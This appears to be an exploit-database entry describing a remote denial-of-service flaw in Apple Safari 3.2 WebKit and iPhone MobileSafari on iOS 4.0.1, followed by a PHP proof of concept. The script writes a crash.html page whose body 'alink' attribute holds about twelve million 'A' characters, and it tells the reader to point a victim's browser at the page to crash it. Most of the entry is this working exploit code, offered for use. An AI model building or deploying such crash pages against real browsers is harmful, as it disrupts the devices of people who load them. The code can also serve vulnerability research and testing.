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Apple Safari 3.2 WebKit - 'alink' Property Memory Leak Remote Denial of Service (2)
source: https://www.securityfocus.com/bid/33080/info
Apple Safari is prone to a denial-of-service vulnerability that resides in the WebKit library.
Remote attackers can exploit this issue to crash the affected browser, denial-of-service condition.
Apple Safari 3.2 running on Microsoft Windows Vista is vulnerable; other versions running on different platforms may also be affected.
Note (December 20, 2010): Safari on iOS 4.0.1 is also vulnerable.
<?php
# _ ____ __ __ ___
# (_)____ _ __/ __ \/ /_____ ____/ / _/_/ |
# / // __ \ | / / / / / //_/ _ \/ __ / / / / /
# / // / / / |/ / /_/ / ,< / __/ /_/ / / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/ / /_/_/
# Live by the byte |_/_/
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: [email protected]
#
# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created(crash.html) file and see what happen ;)
# The vulnerable tag is:
# * <body alink="A x 12000085">
# -----------------------------------
# Exploit Title: Apple iPhone Safari (body alink) Remote Crash
# Date: 19/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3, IOS 4.0.1 MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 12000085);
$code = "<html>
<head>
<title>Apple iPhone Safari (body alink) Remote Crash</title>
</head>
<body alink='{$string}'>
</body>
</html>";
if(file_put_contents("./crash.html", $code)) {
echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
echo("Cannot create file.\r\n");
}
?>Data
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01 Jan 2009 00:00Current
7.4High risk
Vulners AI Score7.4